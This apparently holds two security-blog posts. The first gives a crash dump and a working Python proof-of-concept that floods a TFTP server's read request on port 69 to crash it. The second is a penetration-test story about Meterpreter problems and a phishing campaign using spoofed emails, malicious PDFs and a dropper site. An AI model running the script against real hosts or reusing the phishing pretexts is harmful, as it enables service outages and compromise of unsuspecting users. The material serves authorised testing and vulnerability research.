Running out of time to play with this bug, still need to pack for my flight early tmw morning. Code at the bottom results in a DOS. I fiddled a little with the POC but throwing that much data at it does not seem to do anything, almost as if the program is just dropping it. It’s also possible my VM’s are screwed up! Meh, I’m heading to a warmer climate! Peace out!

msvcrt.dll:77c483b7 mov ah,[edi] from thread 340 caused access violation
when attempting to read from 0x41414141
 
CONTEXT DUMP
  EIP: 77c483b7 mov ah,[edi]
  EAX: 77c5f76e (2009462638) -> N/A
  EBX: 77c5f7a0 (2009462688) -> N/A
  ECX: 77c33493 (2009281683) -> N/A
  EDX: 77c61b18 (2009471768) -> N/A
  EDI: 41414141 (1094795585) -> N/A
  ESI: 00409243 (   4231747) -> N/A
  EBP: 00aef788 (  11466632) -> N/A
  ESP: 00aef77c (  11466620) -> w'=$}bwAAAAB@dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +00: 77c5f7a0 (2009462688) -> N/A
  +04: 003d27d0 (   4007888) -> Tl @wwos===C:\WINDOWSE" (heap)
  +08: 0024bc80 (   2407552) -> $Tq CKM@c$ (heap)
  +0c: 00aef7a0 (  11466656) -> dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +10: 77c4627d (2009358973) -> N/A
  +14: 41414141 (1094795585) -> N/A
 
disasm around:
	0x77c483a4 push esi
	0x77c483a5 push ebx
	0x77c483a6 mov esi,[ebp+0xc]
	0x77c483a9 mov edi,[ebp+0x8]
	0x77c483ac mov al,0xff
	0x77c483ae mov edi,edi
	0x77c483b0 or al,al
	0x77c483b2 jz 0x77c483e2
	0x77c483b4 mov al,[esi]
	0x77c483b6 inc esi
	0x77c483b7 mov ah,[edi]
	0x77c483b9 inc edi
	0x77c483ba cmp ah,al
	0x77c483bc jz 0x77c483b0
	0x77c483be sub al,0x41
	0x77c483c0 cmp al,0x1a
	0x77c483c2 sbb cl,cl
	0x77c483c4 and cl,0x20
	0x77c483c7 add al,cl
	0x77c483c9 add al,0x41
	0x77c483cb xchg al,ah

#/usr/bin/env python
 
import socket,sys
 
host = sys.argv[1]
port = 69
 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((host,port))
 
data  = "\x00\x01" #  1     Read request (RRQ)
data += "A" * 242 #overwrite EDI
data += "B" * 4 # EDI VALUE
data += "\x00"
data += "\x6e\x65\x74\x61\x73\x63\x69\x69\x00" #tftp protocol trailing crap mostly to make wireshark happy
sock.sendall(data)

A few days late on the metasploit blog post update. A recent Pen test bought about some great headaches for me as I encountered all sorts of issues with the 3.1 framework. According to HD updates to ruby have broken the ability to use short name constants which are littered throughout the framework. Some of the things I experienced were issues with backgrounding sessions, exiting back to meterpreter after executing a cmd shell on a system. 95% of my meterpreter scripts failed with similar errors that are displayed on the metasploit blog post. This resulted in me having to go back to hand jamming quite a few of my normal tasks after obtaining initial access. What made it even more of a pain in the ass was the fact that the backgrounding sessions interfered with my ability to create a route into the private network through the established session. For one reason or another it was a 50% chance I’d lose my sessions if I attempted to background it. In many instances I would lose visualization of what I typed. So every time I tried to background a sessions and start typing I’d get nothing showing up. This created the headache of me having to type very slowly to make sure what I wanted to execute was actually going to the shell. The route issue caused me to have to go back to my main stock pile of exploits for things like PNP, and MS06-040. Uploading the binaries and executing them from within the initial compromised host. It’s sad because I think I’ve been spoiled by metasploit and the meterpreter shell :/

The Pen test still went off well, despite the issues with meterpreter and the framework in general. We also had a very broad scope and a tight time frame. Scope creep is a bitch, watch out for it! The customer tried to switch things up on us in the middle of the pen test but we stood our ground. After all, we only had 50 hours to get everything done and what was being asked was just impossible. All in all it was expected that the perimeter would be clean, quite a few DMZ’s are! We didn’t find any vulnerabilities from the outside but man… They opened up damn near every PDF we sent them, along with quite a few visiting the website we set up that included a nice Malware dropper which downloaded and executed the meterpreter shell in EXE form. The sad part is, during testing almost everything was caught on my “secure” victim machine. The Anti Virus caught the dropper, caught the meterpreter executable. Thanks to MC though with his Ninja type skillz the PDF was pretty much transparent to EVERYTHING! You should have seen it though, after we sent out the spoofed emails shells started flying in. We realized really quick that we needed to change up the payload from a reverse TCP shell to a meterpreter shell due to Policy issues restricting the CMD shell to be spawned. Of course we resent the email saying “The PDF was blank and the website was broken, sorry please open these instead.” BAM! 50 meterpreter shells in the first hour! What’s even worse though, is two day’s after the phishing attempt we still had shells connecting back to us.

Recommendation:

Anti virus and user awareness training is definitely needed!